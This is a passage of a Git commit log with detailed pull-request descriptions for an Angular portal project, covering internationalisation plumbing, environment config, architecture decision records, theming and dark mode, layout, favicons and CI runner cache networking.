$ curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4200/en/   # 200
$ curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4200/fr/   # 200
```

Served files have the right metadata per locale:

```
/tmp/probe-en.html: lang="en"   <base href="/en/">
/tmp/probe-fr.html: lang="fr"   <base href="/fr/">
```

## Side-effect to call out

- `/en/deep/route` and `/fr/deep/route` now return 404 from `nx serve-static`. That's by design — Lighthouse only audits the root locale URLs, and the reverse proxy owns deep-link routing in production.
- `http://localhost:4200/` returns http-server's directory listing under the new layout. Lighthouse doesn't hit it, so the perf gate is unaffected. We could disable the listing if it becomes a footgun.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green.
- [x] Local `nx serve-static` + curl against `/en/` and `/fr/` returns the expected per-locale `index.html`.
- [ ] CI: `pnpm ci:perf` runs through `serve-static` start → Lighthouse autorun (×3 per locale, ×2 locales = 6 audits) → assertions hold ≥ 90 on Performance for both.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #92
2026-05-11 17:18:52 +02:00
julien 29d16c7527 feat(portal-shell): wire @angular/localize plumbing per ADR-0019 (#91)
CI / check (push) Successful in 2m49s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m42s
CI / a11y (push) Successful in 1m30s
CI / perf (push) Failing after 56s
## Summary

First implementation step of ADR-0019. Wire the `@angular/localize` plumbing into `portal-shell` so the next sweep PR can start marking UI strings without any infrastructure work.

## What changes

- **Promote `@angular/localize` to a direct dependency** (it was already a transitive via the Angular metapackage; promoting it makes the `init` polyfill explicitly resolvable from the project).
- **Configure the `i18n` block** in [`apps/portal-shell/project.json`](apps/portal-shell/project.json):
  - `sourceLocale: { code: "en", baseHref: "/en/" }` — matches the project English-only rule.
  - `locales.fr: { translation: "...messages.fr.xlf", baseHref: "/fr/" }` — single target locale for now.
- **Add the `init` polyfill** to the build target (`"polyfills": ["@angular/localize/init"]`).
- **Add an `extract-i18n` Nx target** that wraps Angular's `@angular/build:extract-i18n` executor and drops the source XLF next to the translation files.
- **Enable `--localize` on the production build** — `nx build portal-shell --configuration=production` now emits two folders side by side: `dist/apps/portal-shell/browser/en/` and `.../fr/`. Each carries its own `<html lang>` and `<base href>` per the ADR.
- **Seed an empty `messages.fr.xlf`** (XLIFF 1.2 skeleton with sourceLanguage="en" / targetLanguage="fr" and an inline editor convention note). The sweep PR drops `<trans-unit>` entries directly into the body block.

## Verification

```
dist/apps/portal-shell/browser/
├── en/
│   └── index.html   ← <html lang="en">, <base href="/en/">
└── fr/
    └── index.html   ← <html lang="fr">, <base href="/fr/">
```

Until the sweep PR marks strings, both bundles ship the same English source text — that's expected and matches what the ADR calls out ("the FR bundle falls back to source text for every untranslated key").

## What this PR explicitly does NOT do

- **Mark UI strings.** Every `i18n` attribute / `$localize` call lands in the next PR. Pure infra commit here.
- **Locale switcher in the footer** + `__Host-portal_locale` cookie + smart `/` redirect. Lands once switching shows a meaningful difference.
- **Collapse `/accessibility` + `/accessibilite` into a single localised route.** Depends on marked text + localized route paths — sweep PR territory.
- **CI gate** that fails the build on missing translations. Lands when there are translations to be missing.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (36 / 36 specs unchanged).
- [x] `pnpm exec nx build portal-shell --configuration=production` — produces both locale folders with correct `<html lang>` and `<base href>`.
- [x] `pnpm exec nx run portal-shell:extract-i18n` — runs cleanly, reports `(Messages: 0)` as expected.
- [x] Production initial bundle: **123 kB gzip per locale** (vs 121 kB on `main`; +1.5 kB for the `@angular/localize` runtime polyfill). Both stay well under the 300 KB budget.
- [ ] Manual: `pnpm exec nx serve portal-shell` runs unchanged (source locale `en`, no `--localize` in dev for now).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #91
2026-05-11 16:46:08 +02:00
julien 8f125d2a90 feat(portal-shell): wire environment.ts per ADR-0018 (#90)
CI / check (push) Successful in 2m46s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m29s
CI / a11y (push) Successful in 1m14s
CI / perf (push) Successful in 3m21s
## Summary

First implementation step of ADR-0018. Create [`src/environments/environment.ts`](apps/portal-shell/src/environments/environment.ts) holding the two SPA per-environment values the ADR calls out — `bffApiBaseUrl` and `otlpEndpoint` — and replace the hard-coded URLs at the two SPA call sites that needed them.

## What changes

- **New `environment.ts`** with dev defaults (`http://localhost:3000/api` and `http://localhost:4318/v1/traces`). Header comment links to ADR-0018, documents the constraint that per-environment siblings must share the same shape, and notes that nothing here is a secret (the SPA bundle is public).
- **`observability/tracing.ts`** reads `environment.otlpEndpoint` for the exporter, and **derives** the `propagateTraceHeaderCorsUrls` regex from `environment.bffApiBaseUrl` — a future change to the BFF origin propagates `traceparent` to the right host automatically, no second edit needed.
- **`home-status.service.ts`** builds `/health` as `${environment.bffApiBaseUrl}/health`.

## What this PR explicitly does NOT do

- **No `environment.staging.ts` / `environment.prod.ts`** yet. The ADR says "ship later" for those, and the real prod / staging URLs are unknown until the infrastructure ADR lands. Dropping plausible-but-wrong URLs into the repo would be worse than waiting.
- **No `fileReplacements` configuration in `project.json`** — it depends on the per-environment files existing. Wired in the same PR that introduces them.
- **No BFF-side audit pool split** (`AUDIT_DATABASE_URL` validator, second Prisma client, boot-time UPDATE-rejection self-test). Also in the ADR's Confirmation list, but it touches `AuditModule` and deserves its own review. Separate PR.
- **No `SERVICE_VERSION` wiring** in `tracing.ts`. Still hard-coded to `'dev'`; the build-time version source (same one that will feed the footer's dev-only version badge) is its own small chantier.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (36 / 36 specs unchanged, no new tests needed).
- [x] Production build size unchanged (121 kB gzip initial — `environment.ts` is one literal object inlined by the bundler).
- [ ] Manual: `pnpm exec nx serve portal-shell` → home page loads, the health widget hits the BFF, Jaeger shows the SPA `document_load` + `fetch` + BFF child span trace.
- [ ] Manual: temporarily change `bffApiBaseUrl` to `http://localhost:9999/api` → the fetch fails (expected), and the `traceparent` propagation regex no longer matches `:3000` (verifiable in Network panel — header is absent on cross-origin requests).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #90
2026-05-11 12:48:55 +02:00
julien c5e91f240b docs(decisions): add ADR-0019 i18n + ADR-0020 portal-admin (#89)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m22s
CI / check (push) Successful in 2m36s
CI / a11y (push) Successful in 53s
CI / perf (push) Successful in 3m25s
## Summary

Pure documentation PR. Two ADRs that answer the two strategic questions raised after the footer chantier:

- **[ADR-0019](docs/decisions/0019-internationalisation-angular-localize.md)** — how the portal handles multiple languages.
- **[ADR-0020](docs/decisions/0020-portal-admin-app.md)** — where portal administration lives.

Implementation will land across follow-up feature PRs, each consumable on its own.

## ADR-0019 — Internationalisation

**Decision:** `@angular/localize` in **build-time** mode, two locales (`fr` default served at `/`, `en` source). Path-based URLs always prefixed (`/fr/...`, `/en/...`); `/` smart-redirects via cookie → `Accept-Language` → `fr`. The locale switcher in the footer writes a `__Host-portal_locale` cookie and hard-refreshes to the matching bundle.

**Considered and rejected:**

- `@angular/localize` runtime mode (single bundle, higher LCP / payload cost).
- `@ngx-translate` / `transloco` (community libraries; tech-bar prefers Angular first-party for foundational primitives).
- Query-param URL strategy (fragile, weaker SEO, `<html lang>` becomes harder).
- Subdomain URL strategy (breaks `__Host-` cookie scoping from ADR-0010).

**Scope boundary:** UI strings owned by developers (templates + `$localize` in code). Editorial content (CMS-managed pages, news, etc.) is BFF-served already localised — that's the admin-app pipeline (ADR-0020), not `@angular/localize`.

**First sweep consequence:** the duplicate `/accessibility` + `/accessibilite` routes collapse to one Angular route with locale-translated paths.

## ADR-0020 — `portal-admin`

**Decision:** new Angular SPA `portal-admin` alongside `portal-shell`, sharing the existing `portal-bff` via `/api/admin/*` routes guarded by an Entra `admin` role plus `@RequireMfa({ freshness: 600 })` at the entry route. Distinct origin + cookie + session (`__Host-portal_admin_session`).

**v1 modules** (all four selected):

1. Editorial pages CMS (multilingual content, fed back to `portal-shell` via the BFF).
2. Sidebar menu management (activates the `requiredPermissions` field already on `MenuItem`).
3. User list (read-only).
4. Audit log viewer (consumes the `audit.events` table per ADR-0013, via the `audit_reader` role).

**Out of v1:** B2B invitations (stay in Entra Admin Center), feature flags (no substrate yet), CMS workflow / approval flows, theme customisation, live preview.

**Considered and rejected:**

- `/admin/*` lazy-loaded inside `portal-shell` (admin code in the same origin → weaker defense in depth, admin URL not IP-restrictable independently).
- Two SPAs **and** two BFFs (doubles infra at our scale — bricolage).
- Off-the-shelf admin tooling (Retool, etc. — escapes our security baseline).

**Performance budget for admin:** ≤ 500 KB gzip initial (vs 300 KB for `portal-shell`, per ADR-0017). Lighthouse Performance ≥ 85 on critical admin routes (vs ≥ 90 on `portal-shell`). Same a11y baseline (ADR-0016), same dark-mode support.

**Shared-libs graduation:** `Icon`, `LayoutStateService`, brand tokens, dark-mode SCSS helpers move from `portal-shell` to `libs/shared/{ui,state}` when both apps need them. Mechanical refactor; tracked as the first implementation PR.

## Implementation roadmap (out of scope of this PR)

ADR-0019:

1. Install `@angular/localize`, wire build target.
2. Mark every existing UI string in `portal-shell` with `i18n` + `@@id`; produce `messages.fr.xlf`.
3. Locale switcher in footer + `/api/preferences/locale` BFF route + smart redirect at `/`.
4. Collapse the duplicate accessibility routes into a localised single route, with 301s.
5. CI gate: `nx build portal-shell --localize` is added to `ci:check` and fails on missing translation.

ADR-0020:

1. `nx g @nx/angular:app portal-admin` skeleton.
2. Shared-libs extraction (`libs/shared/ui`, `libs/shared/state`).
3. BFF `AdminModule` + `AdminRoleGuard` + smoke `GET /api/admin/me`.
4. Admin shell (header / sidebar / footer with an "Admin" badge).
5. One PR per v1 module — suggested order: CMS pages → menu management → audit viewer → user list.

## Test plan

- [x] Both ADRs follow MADR 4.0.0 (frontmatter, sections, tags from the canonical vocabulary).
- [x] `docs/decisions/README.md` index updated in the same commit.
- [x] `CLAUDE.md` architecture summary picks up entries for both decisions and bumps the ADR coverage line to 0020.
- [ ] Read-through review — invite the project lead to push back on any decision before locking implementation.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #89
2026-05-11 12:29:54 +02:00
julien 8b986f3dc3 feat(portal-shell): thin full-width footer with copyright + a11y links (#88)
CI / check (push) Successful in 2m51s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m45s
CI / a11y (push) Successful in 1m9s
CI / perf (push) Successful in 2m50s
## Summary

- Re-add a **40 px** (h-10) footer pinned to the bottom of the shell, spanning the full viewport width below header + sidebar + main.
- Hosts the **`© <year> APF France handicap`** copyright on the left and the FR + EN accessibility statement links on the right, separated by a thin divider.
- **Move the accessibility links out of the sidebar bottom.** Putting legal / compliance links in the footer matches universal web convention and keeps the sidebar focused on product navigation.

## Why footer rather than the help menu

The header's `circle-help` icon will eventually open a help menu (FAQ, keyboard shortcuts, contact support) — that's **product help**, not **legal / compliance**. Auditors (RGAA 4.1, EN 301 549) look for the accessibility statement in the footer; hiding it inside a help dropdown would hurt discoverability. The footer is the canonical home.

## Why both FR + EN stay visible

There is no language toggle yet — `@angular/localize` and its ADR are a separate chantier. Until then, exposing both languages prevents a francophone user from landing on the EN page (or vice versa) via a stale favourite. Once the locale switcher lands, the footer drops the link that doesn't match the active locale.

## Layout

```
:host  flex column, h-100vh
├── app-header           shrink-0, h-16
├── div.shell-body       flex-1, flex row
│   ├── app-sidebar      w-{64|16}, h-full (== shell-body)
│   └── main.shell-main  flex-1, overflow-y-auto
└── app-footer           shrink-0, h-10
```

The sidebar now sits *between* header and footer, so the collapse toggle stays flush above the footer at every viewport size. shell-main still owns its own vertical scroll so long content does not push the footer off-screen.

## What this PR reserves for later (placeholder)

- **Language toggle (FR / EN)** — lands once `@angular/localize` is in.
- **Dev-only version badge** — lands once `environment.ts` per ADR-0018 is wired up.

Both belong in the footer; the layout already has slots for them (center / right groupings).

## Accessibility

- `<footer aria-label="Page footer">` landmark.
- Inline text links inside `<nav aria-label="Legal">` with hover underline + visible focus ring (brand primary, 4 px offset). Inline-link exception applies to the 44×44 touch target (ADR-0016).
- Dark mode: white → `dark:bg-gray-900`, gray-500 text → `dark:text-gray-400`, brand-primary-500 hover → `dark:hover:text-brand-primary-300`.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (**36 / 36 specs**, +3 for the footer).
- [x] Production build: **121 kB gzip initial** (unchanged from main).
- [ ] Manual: footer pinned at the bottom in every viewport size; sidebar height tracks shell-body so the collapse button sits just above it.
- [ ] Manual: both `/accessibility` and `/accessibilite` links navigate correctly and get `aria-current="page"` when active.
- [ ] Manual: dark mode → footer surface flips with the rest of the shell.
- [ ] Manual: keyboard — Tab into the footer reaches each link, focus ring is visible, Shift+Tab walks back out.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #88
2026-05-11 11:07:36 +02:00
julien 3a0a9c700d fix(portal-shell): dark mode actually applies to component-scoped surfaces (#87)
CI / check (push) Successful in 3m0s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m15s
CI / a11y (push) Successful in 1m5s
CI / perf (push) Successful in 2m57s
## Bug

Three component stylesheets (`app.scss`, `sidebar.scss`, `theme-switcher.scss`) carried `:where(.dark) &` rules to react to the `<html>.dark` class — the same pattern Tailwind uses internally. **Angular's emulated CSS encapsulation descends into `:where()` and rewrites its contents with the `_ngcontent-XXX` scoping attribute**, so the produced selector looked like:

```css
:where(.dark[_ngcontent-c0]) .shell-main[_ngcontent-c0] { ... }
```

`<html>` carries `.dark` but no `_ngcontent` attribute — the rule never matched.

Visible symptom: the main page background stayed light even when `.dark` was on `<html>` and every Tailwind `dark:` utility in the templates was working correctly. Sidebar hover/focus/active states and the theme-switcher menu surface had the same bug.

## Fix

- **`app.scss` and `sidebar.scss`** switch to `:host-context(.dark)`. The Angular compiler recognises this directive and expands it without forcing the ancestor (`<html>`) to carry the scoping attribute. Compiled output:

  ```css
  .dark[_nghost-c0] .shell-main[_ngcontent-c0],
  .dark [_nghost-c0] .shell-main[_ngcontent-c0] { ... }
  ```

  The second selector matches `<html>.dark` as an ancestor of `<app-root>` (the host) — exactly what we want.

- **`theme-switcher` switches to `ViewEncapsulation.None`**. Its CDK menu opens in an overlay portal appended to `<body>` — outside the component's host subtree — so even `:host-context()` would miss it. With encapsulation disabled, the styles emit globally; the BEM-style class names (`.theme-switcher__menu`, `.theme-switcher__item`, ...) keep the rules contained without leaking.

## Drive-by

- Remove the right border on the `.header__logo-zone`. The visible hairline above the sidebar was extra noise — the alignment of widths already carries the visual relationship to the rail below.

## Why not also rip out the `dark:` Tailwind utilities used in the templates?

They work. They're emitted into the global Tailwind sheet, sit outside view encapsulation, and already handle the `.dark` ancestor lookup via their own selector (`:where(.dark, .dark *)`). The bug was specifically about component-authored CSS *inside* an SCSS file under emulated encapsulation.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (33 / 33 specs).
- [x] Inspect the produced CSS: `:host-context(.dark)` expands to both `.dark[_nghost-XXX]` and `.dark [_nghost-XXX]` selectors, no `_ngcontent` attribute leaked into the `.dark` portion.
- [ ] Manual: pick dark mode → `/` shows the dark page background; sidebar hover / active / focus visibly switches; theme-switcher menu opens with the dark surface.
- [ ] Manual: header no longer shows a vertical hairline between the logo zone and the search/actions cluster.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #87
2026-05-11 10:45:39 +02:00
julien 0ae7e0e23d feat(portal-shell): light / dark / auto theme switcher (#86)
CI / check (push) Successful in 3m38s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m53s
CI / a11y (push) Successful in 1m27s
CI / perf (push) Successful in 2m28s
## Summary

- Add a header dropdown letting users pick **light**, **dark**, or **auto** (follow the OS) color schemes. Choice persists in `localStorage`, applies on next reload, and reacts live to OS theme changes when in `auto`.
- Built on `@angular/cdk/menu` for accessible roving focus, escape-to-close, and proper `menuitemradio` semantics on the three options.
- Apply `dark:` variants across the shell (header, sidebar, main bg) and the existing two pages. No semantic-token refactor yet — that belongs in a future ADR (`--color-surface-1`, `--color-text-1`, …).

## Architecture

- [`LayoutStateService`](apps/portal-shell/src/app/state/layout-state.service.ts) grows a `themeMode: signal<'light'|'dark'|'auto'>` alongside the existing `sidebarCollapsed`, plus an `effectiveTheme` computed that resolves `auto` against the system preference. A side-effect toggles the `.dark` class on `<html>`, so every `dark:` Tailwind utility flips at once.
- Tailwind v4 dark mode is rewired to **class-based** via `@custom-variant dark (&:where(.dark, .dark *));` in `styles.css`. This overrides the v4 default (`prefers-color-scheme` only) so the user's explicit override wins over the OS preference.
- The switcher trigger reflects the **selected** mode (sun / moon / monitor), not the effective theme — so users can tell which mode they're in even when `auto` happens to resolve to the same scheme as a manual pick.

## Side-edits in the same PR (already validated in the chat)

- **Logo asset.** Replace `apf-small.svg` (94 kB — a base64-PNG wrapped in SVG markup, not actually vector) with `apf-small.png` (144×144, 7.6 kB after `sharp --kernel lanczos3 --compressionLevel 9`). Header swaps to the PNG. The wide vector `apf-portal.svg` stays around for future surfaces that want the horizontal lockup.
- **Revert FR strings** that crept into the header template — project rule (CLAUDE.md) is English-only for source artefacts; FR localisation will happen properly via `@angular/localize` (separate ADR).

## Decisions worth flagging

- **Dropdown over segmented control.** The CDK Menu pays its weight: accessible by default (proper `aria-haspopup`, focus management, ESC handling, click-outside dismissal), reusable for future header menus (user, language, notifications), and one tidy primitive rather than three competing buttons.
- **`auto` is the default,** not `light`. Most users have an OS-level preference already; respecting it is the least surprising baseline.
- **`<html>.dark` class lives at the root,** not on `<app-root>`. That's the Tailwind convention and it means CDK overlay popups (the menu itself, future dialogs) inherit the right theme without extra wiring.
- **Bundle delta +21 kB gzip** (100 → 121 kB initial). All of it is `@angular/cdk/{menu,overlay,a11y}` and the dark CSS rules. We stay well under the 300 kB budget. The CDK is already on the architecture menu (ADR-0016 — *UI stack: Angular CDK + TailwindCSS*) so this is on-strategy spend.
- **No semantic tokens yet.** The dark variants use raw Tailwind gray ramps (`dark:bg-gray-900`, etc.) instead of a `--color-surface-1` / `--color-text-1` token layer. That keeps the change tractable for now; promotion to semantic tokens deserves its own ADR with the design team in the loop.

## Accessibility (ADR-0016)

- Menu trigger has `aria-haspopup="menu"`, `aria-label` announcing the current mode + "(open menu)".
- Menu uses `role="menu"`, items use `role="menuitemradio"` with `aria-checked` — assistive tech announces the selection state correctly.
- All interactive controls keep the 44×44 px touch target.
- `prefers-reduced-motion: reduce` already covered by the sidebar transitions; theme switcher has no animations of its own.
- Contrast: dark surfaces are gray-900 + gray-800 border / gray-100 text — passes WCAG AA. Brand primary shifted to the `300` step in dark mode so the active states keep contrast against gray-900.

## What this PR explicitly does NOT do

- Tokenise the palette into semantic surface / text / border roles (next iteration, ADR-led).
- Localise UI strings (separate `@angular/localize` ADR + PR).
- Animate the theme transition (FOIT-style flicker on toggle is acceptable in v1; we can soften later with a `color-scheme` CSS transition if it bothers users).

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (**33 / 33 specs**, +8 for the theme work).
- [x] Production build: **121 kB gzip initial** (was 100 kB). Under the 300 kB budget.
- [ ] Manual: toggle each of the three modes → header / sidebar / main / cards switch surface colors instantly; trigger glyph updates.
- [ ] Manual: pick `auto`, change OS theme → UI follows live (Chrome DevTools → Rendering → "Emulate CSS media feature prefers-color-scheme").
- [ ] Manual: reload after each pick → the chosen mode is restored.
- [ ] Manual: keyboard the trigger → ENTER opens menu, arrow keys navigate, ENTER selects, ESC closes; focus returns to the trigger on close.
- [ ] Manual: Lighthouse accessibility on `/` in dark mode — score unchanged from light mode.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #86
2026-05-11 03:01:11 +02:00
julien b6aa17f6a0 feat(portal-shell): align header logo zone with the sidebar rail (#85)
CI / check (push) Successful in 3m4s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m49s
CI / a11y (push) Successful in 1m38s
CI / perf (push) Successful in 3m32s
## Summary

- Split the header into two zones: a **logo zone** whose width tracks the sidebar (16 rem expanded / 4 rem collapsed), and the existing search + actions cluster on the right.
- The logo glyph stays at both widths; the "APF Portal" wordmark hides when the rail collapses, mirroring the sidebar's icon-only mode.
- Promote the sidebar's `collapsed` state to a new [`LayoutStateService`](apps/portal-shell/src/app/state/layout-state.service.ts) (Signals + `localStorage`) so header and sidebar share a single source of truth.

## Why a service rather than prop-drilling

Two reasons:

1. The state is **shell-level**, not sidebar-internal — the header now reads it, and future surfaces (right rail, breadcrumbs, command palette) will too. Passing it down via inputs would force `<app-root>` to act as the owner and turn every intermediate component into a relay.
2. As we add other cross-cutting shell state (density, theme, panel pinning, RTL), they all belong in the same place. `LayoutStateService` is the natural collector and stays trivial as long as we don't over-broaden it. v1 ships with one signal — keeping it narrow.

The service is `providedIn: 'root'` (singleton), Signals-only, and owns localStorage persistence — same UX as before, just relocated.

## Decisions worth flagging

- **Widths stay duplicated between `header.scss` and `sidebar.scss`** (16 rem / 4 rem). Extracting a shared SCSS variable would be premature — only two callers, and the coupling is loud (cross-file comment in `header.scss`). If a third surface needs the same widths, we promote to a shared token.
- **Border continuity.** The logo zone's right border and the sidebar's right border share the same x coordinate, so they read as one continuous vertical separator running the full shell height. Same `#e5e7eb` so the seam is invisible.
- **Width transition** matches the sidebar's (`0.18s ease-out`) and is skipped under `prefers-reduced-motion: reduce`.
- **Sidebar component lost its private state.** Its own signal + effect + storage glue is gone; it delegates reads to the service and the toggle click to `layout.toggleSidebar()`. Net `sidebar.ts` shrunk by ~15 lines.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (25 / 25 specs, +6 for the new service spec + header zone tests).
- [x] Production build under bundle budgets (100 kB gzip initial — +0.2 kB vs main).
- [ ] Manual: load `/`, confirm the logo zone's right edge aligns exactly with the sidebar's right edge at both widths.
- [ ] Manual: toggle the sidebar → both columns animate in sync; wordmark hides; logo glyph stays centered in the 4 rem zone.
- [ ] Manual: reload after toggling → both header and sidebar restore to the persisted state.
- [ ] Manual: `prefers-reduced-motion: reduce` → no width animation in either zone.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #85
2026-05-11 01:14:42 +02:00
julien 29f79d677e feat(portal-shell): full favicon set + PWA manifest (#84)
CI / check (push) Successful in 2m15s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m2s
CI / a11y (push) Successful in 1m45s
CI / perf (push) Successful in 3m44s
## Summary

- Replace the single root `favicon.ico` with a complete asset bundle under [`apps/portal-shell/public/favicons/`](apps/portal-shell/public/favicons/): SVG primary favicon, PNG fallback (96×96), legacy ICO, Apple touch icon (180×180), and a Web App Manifest with 192 / 512 maskable PNGs.
- Wire the assets in [`index.html`](apps/portal-shell/src/index.html) via the standard `<link rel="icon|apple-touch-icon|manifest">` block and add a matching `<meta name="theme-color" content="#ffffff">`.
- Set the manifest name to `"APF Portal"` (short_name `"Portal"`) so the PWA install banner and home-screen icon read consistently with the in-app header.

## Why it matters

- **Modern favicons.** SVG is now the primary icon — vector-clean at every density, automatic dark-mode adaptation when the SVG carries `prefers-color-scheme` rules. PNG + ICO entries cover legacy and pinned-tab contexts.
- **Installability.** With a valid manifest + 192/512 icons + `display: standalone`, the portal is installable on Android home-screens and as a desktop PWA in Chromium-based browsers, without shipping a service worker.
- **Mobile chrome.** `<meta name="theme-color">` aligned with the manifest's `theme_color` tints the browser address bar and the PWA chrome to white — matching the app header.

## Decisions worth flagging

- **Icons declared `purpose: "maskable"` only.** The PNGs were generated with the Android safe-zone padding. On Android they render correctly (cropped to the device's adaptive shape); on contexts that ask for `"any"` the browser falls back to the SVG / PNG / ICO entries from the `<link rel="icon">` block, so nothing breaks. If we later want a no-padding edge-to-edge variant for desktop, we can add a second icon entry with `purpose: "any"` and a different source.
- **`theme_color: #ffffff` rather than brand teal.** The app header is white in the v1 design; tinting the mobile chrome to teal would create a visible seam at the top of the viewport. We can revisit if a darker header lands.
- **Cache-buster query strings kept (`?v=20260511`).** Static `public/` assets are not hashed by Angular's build (only bundled JS/CSS are), so the explicit version stamp guards against stale caches on icon updates. The date matches the generation day.

## What this PR explicitly does NOT do

- Ship a service worker / offline support (PWA installability does not require it; offline strategy is a separate decision and likely a future ADR).
- Replace the SVG icon contents with a brand-tuned design — uses the existing generator output.
- Wire a localized manifest (single `name` / `short_name`, no `lang` variant per locale).

## Test plan

- [x] `pnpm exec nx build portal-shell --configuration=production` — green, 100 kB gzip initial (unchanged).
- [x] All 7 assets ship to `dist/apps/portal-shell/browser/favicons/`.
- [x] `index.html` in the production build contains every `<link>` + the `theme-color` meta.
- [ ] Manual: tab favicon visible in Chrome / Firefox / Safari.
- [ ] Manual: Chrome DevTools → Application → Manifest reports no errors and shows both 192/512 icons.
- [ ] Manual: Chrome desktop install prompt offers "Install APF Portal".
- [ ] Manual: Add-to-Home-Screen on Android shows the maskable icon clipped to the device's adaptive shape.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #84
2026-05-11 01:03:05 +02:00
julien 3371fbd613 feat(portal-shell): app-shell layout with collapsable sidebar (#83)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m37s
CI / check (push) Successful in 2m25s
CI / a11y (push) Successful in 57s
CI / perf (push) Successful in 3m5s
## Summary

- Replace the flat header+main+footer layout with a real app-shell: fixed header on top, collapsable sidebar + scrollable main below. Sidebar state (collapsed / expanded) persists across reloads via `localStorage`.
- Introduce the APF brand palette as Tailwind v4 `@theme` tokens (primary teal `#12546c`, accent orange `#f7a919`) so every utility (`bg-brand-primary-500`, `text-brand-accent-400`, `ring-brand-primary-200`, …) is available from now on.
- Add an `<app-icon>` façade backed by `lucide-angular` for v1. Logical kebab-case names already match the icomoon-sprite convention, so the future migration is a single-file change in `icon.ts` and consumers stay untouched.
- Migrate the accessibility-statement links from the (now-deleted) footer to the bottom of the sidebar.

## Decisions worth flagging

- **Static menu, permission-shaped data.** Items point to `#` placeholders in v1, except *Dashboard* which is `routerLink="/"` so the active-state styling is visible on the home page. The `MenuItem` shape already carries an optional `requiredPermissions: string[]` so the permission-aware filter (PR 2, alongside ADR-0009 auth) plugs in without restructuring.
- **`<app-icon>` over direct lucide imports.** Consumers write `<app-icon name="bell">` rather than importing the lucide pascal-case symbol. When the icomoon sprite lands, only the registry in `icon.ts` changes — templates do not.
- **Sidebar persistence via `localStorage`, not backend.** Zero round-trip, survives reloads, falls back gracefully when storage is blocked (private mode). Eventually mirrored server-side if the user-preferences feature lands.
- **Footer removed entirely.** With the sidebar carrying the FR + EN accessibility-statement links and the role badge, the bottom rail no longer earned its vertical real estate. The version badge moved out for now; it will return as part of a debug/help menu when there's a real release to surface.

## Accessibility (ADR-0016)

- Skip-link preserved (WCAG 2.4.1 *Bypass Blocks*) and restyled in the brand palette.
- Sidebar exposes named landmarks (`<nav aria-label="Sections">`, `<nav aria-label="Accessibility">`) and the collapse button uses `aria-expanded` + a descriptive `aria-label`.
- Active links carry `ariaCurrentWhenActive="page"`.
- All interactive controls (header action buttons, sidebar links/toggle) meet the 44×44 px minimum hit-target.
- Sidebar width transition is skipped under `prefers-reduced-motion: reduce`.
- Lucide SVGs are marked `aria-hidden` (decorative); accessible names live on the parent control.

## Perf (ADR-0017)

- Production build: **100 kB gzip** initial transfer (budget: 300 kB). Lucide imports are tree-shaken — only the ~18 icons actually used ship.

## What this PR explicitly does NOT do

- Wire icon-set migration to icomoon (kept as a deferred swap behind `<app-icon>`).
- Filter the menu by permission (deferred to PR 2 once the auth flow lands).
- Replace the avatar placeholder with a real user menu (waits on ADR-0009).
- Implement the search input behavior (placeholder only; needs a search backend).

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (19 / 19 specs).
- [x] Production build under bundle budgets (100 kB gzip initial).
- [ ] Manual: load `/`, confirm Dashboard appears active in the sidebar, collapse → reload → still collapsed, focus the address bar then Tab → skip-link visible, keyboard-traverse the sidebar.
- [ ] Manual: `prefers-reduced-motion: reduce` → no width animation when toggling.
- [ ] Manual: zoom to 200 % → no horizontal scroll, header search hides at narrow widths (`md:` breakpoint).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #83
2026-05-11 00:36:41 +02:00
julien a463199728 feat(infra): reactivate act_runner cache by sharing the runners network (#82)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m3s
CI / scan (push) Successful in 2m18s
CI / a11y (push) Successful in 1m0s
CI / perf (push) Successful in 3m10s
## Summary

Closes the deferred-since-day-one cache-server gap (documented as "Cache server (deferred)" in `infra/README.md` and mentioned every time we hit a slow CI install).

**Root cause.** `act_runner`'s built-in cache server binds inside the runner container and advertises an IP on the compose-defined `apf-portal-act-runners` bridge — but jobs are spawned via the mounted `/var/run/docker.sock`, which puts them on Docker's anonymous default `bridge`. The advertised URL is unreachable from the job, every cache request burns a ~2 min `ETIMEDOUT` (restore + save), the hit rate is zero.

**Fix.** Tell `act_runner` to attach jobs to the same compose-defined bridge as the runners, via `container.network` in the shared `runner-config.yaml`. The advertised cache URL becomes a normal internal-network DNS hop, jobs reach the cache server, `cache: 'pnpm'` works end-to-end.

**Blast-radius trade-off** (bounded). Every container on `apf-portal-act-runners` is one of our runner containers, plus the jobs they spawn — all of which already have full docker-socket access. Sharing a network doesn't widen what a malicious workflow can already do; it just lets jobs reach the cache server.

## What lands

